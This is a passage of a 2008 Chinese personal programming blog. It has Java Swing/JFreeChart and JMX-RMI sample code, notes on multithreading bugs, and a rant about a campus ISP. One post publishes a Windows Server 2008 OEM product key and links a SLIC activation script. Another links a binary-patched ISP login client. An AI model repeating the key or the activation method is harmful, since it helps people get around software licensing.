valueaxis.setAutoRange(true);
// valueaxis.setInverted(true);
valueaxis = xyplot.getRangeAxis();
valueaxis.setAutoRange(true);
cp = new ChartPanel(jfc);
initComponents();
}

public void addTimeSeries() {
TimeSeries timeSeries = new TimeSeries("Random" + tss.size(), Second.class);
tcl.addSeries(timeSeries);
tss.add(timeSeries);
}

public static void main(String[] args) {
JFrame frame = new JFrame("Test Chart");
final RealTimeGraphPanel rtgp = new RealTimeGraphPanel();
frame.getContentPane().add(rtgp, BorderLayout.CENTER);
frame.pack();
frame.setVisible(true);

frame.addWindowListener(new WindowAdapter() {

@Override
public void windowClosing(WindowEvent windowevent) {
System.exit(0);
}
});
}

/** This method is called from within the constructor to
* initialize the form.
* WARNING: Do NOT modify this code. The content of this method is
* always regenerated by the Form Editor.
*/
@SuppressWarnings("unchecked")
//
private void initComponents() {

jbtnStartStop = new javax.swing.JButton();
jPanel1 = (cp);
jbtnFixed = new javax.swing.JButton();
jbtnScaled = new javax.swing.JButton();
jbtnClear = new javax.swing.JButton();
jbtnAdd = new javax.swing.JButton();

setName("Form"); // NOI18N

jbtnStartStop.setText("Start");
jbtnStartStop.setName("jbtnStartStop"); // NOI18N
jbtnStartStop.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jbtnStartStopActionPerformed(evt);
}
});

jPanel1.setName("jPanel1"); // NOI18N

javax.swing.GroupLayout jPanel1Layout = new javax.swing.GroupLayout(jPanel1);
jPanel1.setLayout(jPanel1Layout);
jPanel1Layout.setHorizontalGroup(
jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGap(0, 400, Short.MAX_VALUE)
);
jPanel1Layout.setVerticalGroup(
jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGap(0, 261, Short.MAX_VALUE)
);

jbtnFixed.setText("Fixed");
jbtnFixed.setName("jbtnFixed"); // NOI18N
jbtnFixed.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jbtnFixedActionPerformed(evt);
}
});

jbtnScaled.setText("Scaled");
jbtnScaled.setName("jbtnScaled"); // NOI18N
jbtnScaled.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jbtnScaledActionPerformed(evt);
}
});

jbtnClear.setText("Clear");
jbtnClear.setName("jbtnClear"); // NOI18N
jbtnClear.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jbtnClearActionPerformed(evt);
}
});

jbtnAdd.setText("Add");
jbtnAdd.setName("jbtnAdd"); // NOI18N
jbtnAdd.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jbtnAddActionPerformed(evt);
}
});

javax.swing.GroupLayout layout = new javax.swing.GroupLayout(this);
this.setLayout(layout);
layout.setHorizontalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addContainerGap()
.addComponent(jbtnStartStop)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
.addComponent(jbtnFixed)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jbtnScaled)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jbtnClear)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jbtnAdd)
.addContainerGap(53, Short.MAX_VALUE))
.addComponent(jPanel1, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
);
layout.setVerticalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup()
.addComponent(jPanel1, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(jbtnStartStop)
.addComponent(jbtnFixed)
.addComponent(jbtnScaled)
.addComponent(jbtnClear)
.addComponent(jbtnAdd))
.addContainerGap())
);
}//


class T1 extends StopableThread {

@Override
protected void loop() throws InterruptedException {
for (TimeSeries timeSeries : tss) {
double d = randomNum();
num = (num + d) / 2;
timeSeries.add(new Second(), d);
}
tts.add(new Second(), num);
Thread.sleep(1000);
}
double num;
Random rand = new Random();

private double randomNum() {
return rand.nextGaussian();
}
}
T1 t1;
private void jbtnStartStopActionPerformed(java.awt.event.ActionEvent evt) {
if (t1 == null) {
t1 = new T1();
t1.start();
jbtnStartStop.setText("stop");
} else {
t1.exit();
t1 = null;
jbtnStartStop.setText("start");
}
}

private void jbtnFixedActionPerformed(java.awt.event.ActionEvent evt) {
// cp.setAutoscrolls(true);
XYPlot xyplot = jfc.getXYPlot();
ValueAxis valueaxis = xyplot.getDomainAxis();
valueaxis.setFixedAutoRange(50000);
}

private void jbtnScaledActionPerformed(java.awt.event.ActionEvent evt) {
XYPlot xyplot = jfc.getXYPlot();
ValueAxis valueaxis = xyplot.getDomainAxis();
valueaxis.setFixedAutoRange(0);
}

private void jbtnClearActionPerformed(java.awt.event.ActionEvent evt) {
for (TimeSeries timeSeries : tss) {
timeSeries.clear();
}
}

private void jbtnAddActionPerformed(java.awt.event.ActionEvent evt) {
addTimeSeries();
}
// Variables declaration - do not modify
private javax.swing.JPanel jPanel1;
private javax.swing.JButton jbtnAdd;
private javax.swing.JButton jbtnClear;
private javax.swing.JButton jbtnFixed;
private javax.swing.JButton jbtnScaled;
private javax.swing.JButton jbtnStartStop;
// End of variables declaration
}

PS:里面用到了一个自己实现的StopableThread,代码如下:

/*
* Copyrights (C) 2008 Bearice (Bearice@Gmail.com)
* Release under GNU/GPL Version 2.
*/
package cn.bearice.java.util;

/**
* 可以停止的线程。
* @author Bearice
*/
public abstract class StopableThread extends Thread {

protected boolean exit = false;

/**
* 线程开始后,进入循环前调用。
*/
protected void before() {
//System.out.println("Starting thread: "+this);
}

/**
* 线程退出前,循环退出后调用。
*/
protected void after() {
// System.out.println("Ending thread: "+this);
}

/**
* 循环体代码。
* @throws java.lang.InterruptedException
*/
protected abstract void loop() throws InterruptedException;

/**
* 指示线程退出循环。
*/
public synchronized void exit() {
exit = true;
interrupt();
}

@Override
public final void run() {
before();
while (!exit) {
try {
loop();
} catch (InterruptedException ex) {
}
}
after();
}
}

2008年9月20日星期六

Windows 2008 STD激活可能

昨天得到的消息,Windows2008的激活已经可能了,原因是dell推出了OEM的2008
Windows 2008的激活机制其实和Vista是相同的,但是以前一直没有放出OEM的CD-KEY所以激活不能,但是DELL出了OEM系统以后就有OEM-KEY了,激活的步骤和Vista是一样的:导入证书,导入CDKEY,如果BIOS本身没有SLIC表就加上个mod
PS:发现2008其实就是vista的另一个mod版
PS2:现在用的系统是2008 Datacenter,没有流出OEM-key,所以本机测试不能,但是已经证实某同学已经成功激活。
PS3:OEM_KEY:223PV-8KCX6-F9KJX-3W2R7-BB2FH(FOR 2008 STD ONLY[x86 or x64])
PS4:看到有很多人是到这里找破解方法的,所以就把我用的那个脚本发一下,仅供品牌机用户或者刷过BIOS的用户使用。
这个脚本原本是激活Vista的,修改了一下,现在是2008和Vista通用的。
地址:http://www.rayfile.com/files/5c9068c2-91c2-11dd-9b64-0014221b798a/

Dr.COM宽带认证客户端修改版

最近换上了电信的数字化校园网络,需要用这个登陆器,但是这个登陆器实在是烂得可以,随便添加驱动,往系统目录里乱写东西就懒得追究他了,每次登陆都要弹出一个IE的框,十分麻烦,而且还总是提示重启。
终于忍受不了了,拿出ODBG,改之。
作用:屏蔽了登录后弹出IE窗口,屏蔽了自动重启的代码。
URL:http://www.rayfile.com/files/8b1e3bd9-86be-11dd-a1c1-0014221b798a/

2008年9月18日星期四

趁着Blogger赶快过来放个水

一直是Blogger后台登陆不能,今天忽然发现登录可能,赶快上来放个水,以防被和谐后来不及。

2008年9月15日星期一

中国电信,我恨你

更正:其实还是有些冤枉电信了,宿舍的网络设备是学校负责维护的,不是电信。
其实好坏也仅仅是相对的,这么骂也仅仅是为了出气而已。其实网络故障只是单纯的故障,任何物理故障都是可以修复的,而难修复的是垄断形成以后从业人员的心里。
在南方其实网通的服务是很不错的(可惜这里没有网通的线),而在北方电信的客服MM说话也是很甜的,经常需要南方北方来回跑的某熊对这一点深有体会。
希望反垄断法实施能产生一些真正的效果

最近被我们伟大的垄断企业:中国电信彻底的,完全的雷到了。
事件的起因是学校搞网络改革,把原先的校园网接入改为由电信负责的数字化校园宽带接入。广告说的好啊,每人一条网线独享×××的带宽。受够6人(这学期开 学以后是16+人)共享一条2MADSL(我们这栋楼连校园网都没)的某熊美滋滋的跑去办理了,每月60大洋,2M带宽。当时在营业厅问:是不是独立 IP,公网的,技术人员支支吾吾半天,一直重复是每人一条网线,重复问了好几遍是不是公网独立IP,才蹦出一句:大概是吧。就算这样总算也是办理了一个帐 号(排队的人还真多)。
等到了帐号开通以后发现事情完全不对头:首先,每个宿舍只有一条网线,还是原来剩下的(这栋楼以前布有网线,但是年代及其久远)不过这倒是无可厚非,用交 换机也是可以。然后设置自动捕获IP。发现所谓的公网IP完全是扯淡,得到的地址段是10.10.38.*,掩码255.255.254.0。好吧,是不 是公网IP也无所谓了(我强烈怀疑那个技术员知不知道什么是公网IP),只要网速快而且稳定就好。但是事实又一次证明了电信的扯淡性质:ping www.google.com 平均每10个数据包至少有2-3个是timeout,有2个的looptime>100ms,剩下的倒是不错,只有20ms,虽然不是很满意但还 行。但是使用一段时间以后发现稳定性极差,有时候根本无法连接到网络,检查了一下才发现,这栋楼的中央集线设备进入不是交换机而是集线器,也就是说:这栋 楼所有使用者发送的所有数据包,都会被完整的广播到其他机器上,而且由于线缆的质量极差,连接速度只有10Mbps(如果不是线的问题而是集线器的问题的 话,那电信就应该撞墙自杀算了,10M不带自适应的集线器怎么说也是2003年以前的古董了吧)用嗅探器抓包发现,网卡的空闲IO负荷已经接近理论最大值 了,也就是说我什么事都还没做,这条网线的带宽已经满了。
满了就满了,只要不影响我的2Mbps的额定网速我也没意见(虽然理论上已经不可能了),掉线,APR泛滥,广播风暴,什么事情都让我遇到了,最重要的 是,插上这条网线不久,我一直工作正常的TPLINK无线路由竟然宕机了(以前是ADSL的路由器,又挂载了一个8口的交换机,现在级联起来当交换机 用)。怪不得我们从电信那里出来的时候,那个人一直在说:要用集线器,要用集线器。感情用交换机还能把系统弄宕机了啊!
交换机宕机不要紧,大不了我们换集线器,可是这电脑蓝屏总该要紧了吧。这鸟网络使用必须安装一个登录软件,但是就是这个登录软件问题也是一大堆,不但用到 了winpcap(天知道用这个是不是用来窃取个人隐私的,不过就现在来看也不用这么专业的窃取了,反正所有数据包都是广播的),而且还要安装驱动(蓝屏 的根源啊,炉子应该最有感觉吧)。(幸亏前两天我换回了32位系统,不然估计连这个登陆器都运行不了),程序的逻辑上也是bug一堆,最主要的BUG是它 每次启动都要检测驱动,但是检测的又不完全,所以经常提示:驱动安装完成,是否重启,一不小心就要被他重启一回。
重启就重启吧,只是是软关机,对数据危险小一点(要是重启时有没保存的文档我就没办法了)但是那个驱动也继承了电信一贯的优良传统:蓝屏。现在某熊用的是 win2008系统,稳定性应该还是说的过去的,但是自打装上那个玩意儿就蓝屏不断。每天不蓝几次都不行。(其实有点夸张,因为我总共用了不到一天就丢掉 了,60块大了水漂,哦是70,还有初装费)
总之,这次是完完全全,彻彻底底的被电信忽悠了一次,我宣布,以后在我眼里,中国电信和中国足球同级。

2008年8月30日星期六

TTS的口音

前几天装了日文的TTS引擎,然后用不同的TTS引擎说同一段话,恩,很有地方风味呢
原文是这个,Spring的JavaDoc里随便找到

This interface is implemented by objects that hold a number of bean definitions, each uniquely identified by a String name.

声音文件在这里:
http://bbs.cfan.com.cn/attachment.php?aid=242995

行程确定

2号的火车……凌晨4点就要开始……算上中间倒车的时间,这次估计要超过36小时了= =
PS:值得一提的是,这次买到的车票是4车厢1号,话说前面3个车厢应该是邮车啥的……没准是一趟火车的第一个座位,lucky~

血的教训告诉我们:最好不要多线程共享一个数据库连接

今天遇到一个奇怪的问题,有一段程序,会被多个线程并行访问,因为没有涉及到数据库写操作,所以就偷懒共享了一个DAO,但是发现一旦并发线程超过2个,就会出现异常,而且还是很奇怪的异常,好像是说数据库没有响应。调试了半天没发现什么问题,后来把DAO对象设置成了ThreadLocal,问题消失了……看来用一个数据库连接最好不要被多个线程同时操作。
最近经常在多线程同步上出问题,上午的时候出现了一个锁死的问题:有一个调用在一个同步块里面锁死了(因为另一个线程异常退出了,没有给这个线程解锁)然后后面紧跟着所有线程都停在了同步块上。在Profiler里一片红红的,好不壮观。
话说今天这个锁死的解决多亏了jconsoler和jvisualvm,这两个工具是最新的几个JDK版本才提供的,他们提供了对Java应用程序的本地或远程的即使监视和分析的功能。jconsole可以把每个线程的运行状态和阻塞原因打印出来,配合jvisualvm的可视化线程图表就可以确定到底是那个(些)线程进行了锁死,并有针对性的进行修复。
再废话一句:这两个工具好像都是基于JMX的,所以说JMX真是个好物啊~~

牢骚:最近Blogger确实有问题

不知道是ISP的问题还是Blogger本身的问题……每次访问Blogger的控制台就被断开连接,症状和被墙了一样……郁闷。但是访问我的Blog域名却没什么问题……更加郁闷。
每次想写点什么东西的时候,被这个错误弄得没什么心情写了。牢骚完毕。

2008年8月24日星期日

JMX-RMI

最近发现JMX是个好东西,很适用于分布式系统的控制信息传递。

/*
 * Copyrights (C) 2008 Bearice (Bearice@Gmail.com)
 * Release under GNU/GPL Version 2.
 */
package jmxtest;

import java.rmi.registry.LocateRegistry;
import java.util.HashMap;
import javax.management.MBeanServer;
import javax.management.MBeanServerFactory;
import javax.management.ObjectInstance;
import javax.management.ObjectName;
import javax.management.remote.JMXAuthenticator;
import javax.management.remote.JMXConnectorServer;
import javax.management.remote.JMXConnectorServerFactory;
import javax.management.remote.JMXServiceURL;
import javax.security.auth.Subject;

/**
 *
 * @author Bearice
 */
public class Main {

    /**
     * @param args the command line arguments
     */
    public static void main(String[] args) throws Exception {
        LocateRegistry.createRegistry(8877);
        MBeanServer server = MBeanServerFactory.createMBeanServer();
        ObjectName helloName = new ObjectName("hello:name=hello");
        HelloWorld hello = new HelloWorld();
        HashMap prop = new HashMap();
        prop.put(JMXConnectorServer.AUTHENTICATOR, new JMXAuthenticator() {

            public Subject authenticate(Object credentials) {
                System.out.println(credentials);
                if (credentials instanceof String) {
                    if (credentials.equals("hello")) {
                        return new Subject();
                    }
                }
                throw new SecurityException("not authicated");
            }
        });
        JMXConnectorServer cserver =
                JMXConnectorServerFactory.newJMXConnectorServer(
                new JMXServiceURL("service:jmx:rmi:///jndi/rmi://localhost:8877/hello"), prop, server);
        cserver.start();
        server.registerMBean(hello, helloName);
        for (ObjectInstance object : server.queryMBeans(null, null)) {
            System.out.println(object.getObjectName());
        }
        System.out.println(hello);
        System.out.println("start.....");
    }
}

/*
 * Copyrights (C) 2008 Bearice (Bearice@Gmail.com)
 * Release under GNU/GPL Version 2.
 */
package jmxtest;

import java.util.HashMap;
import java.util.concurrent.atomic.AtomicInteger;
import java.util.logging.Level;
import java.util.logging.Logger;
import javax.management.JMX;
import javax.management.ObjectName;
import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL;

/**
 *
 * @author Bearice
 */
public class Client {

    static HelloWorldMBean hello;

    public static void main(String[] args) throws Exception {
        final AtomicInteger count = new AtomicInteger();
        HashMap prop = new HashMap();
        prop.put(JMXConnector.CREDENTIALS, "hello");
        final JMXConnector conn = JMXConnectorFactory.connect(new JMXServiceURL("service:jmx:rmi:///jndi/rmi://localhost:8877/hello"), prop);
        conn.connect();
        Runnable r = new Runnable() {

            public void run() {
                for (int i = 0; i < 10; i++) {
                    try {
                        final HelloWorldMBean hello = JMX.newMBeanProxy(conn.getMBeanServerConnection(), new ObjectName("hello:name=hello"), HelloWorldMBean.class);
                        hello.setName("bearice");
                        hello.sayHello();
                        hello.getHelloString();
                        System.out.println(count.incrementAndGet());
                        Client.hello = hello;
                        System.out.println(hello.equals(hello.getThis()));
                    } catch (Exception ex) {
                        Logger.getLogger(Client.class.getName()).log(Level.SEVERE, null, ex);
                    }
                }
            }
        };
        Thread[] ts = new Thread[5];
        for (int i = 0; i < ts.length; i++) {
            ts[i] = new Thread(r);
            ts[i].start();
        }
        for (Thread t : ts) {
            t.join();
        }
        System.out.println(hello.equals(hello.getThis()));
        System.out.println(hello.getId());
        System.out.println(hello);
    }
}

/*
 * Copyrights (C) 2008 Bearice (Bearice@Gmail.com)
 * Release under GNU/GPL Version 2.
 */
package jmxtest;

import java.io.Serializable;

/**
 *
 * @author Bearice
 */
public interface HelloWorldMBean extends Serializable {

    void setName(String name);

    String getName();

    void sayHello();

    String getHelloString();

    int getId();

    @Override
    String toString();

    @Override
    int hashCode();

    @Override
    boolean equals( Object obj);
    
    HelloWorldMBean getThis();
}
class HelloWorld implements HelloWorldMBean, Serializable {

    static AtomicInteger count = new AtomicInteger();
    private static final long serialVersionUID = 1627976932729278650L;
    int id = count.incrementAndGet();
    String name;

    public synchronized void setName(String name) {
        this.name = name;
    }

    public synchronized String getName() {
        return name;
    }

    public synchronized void sayHello() {
        System.out.println(getHelloString());
    }

    public synchronized String getHelloString() {
        return "Hello, " + name;
    }

    public synchronized int getId() {
        return id;
    }

    public HelloWorldMBean getThis() {
        return this;
    }
}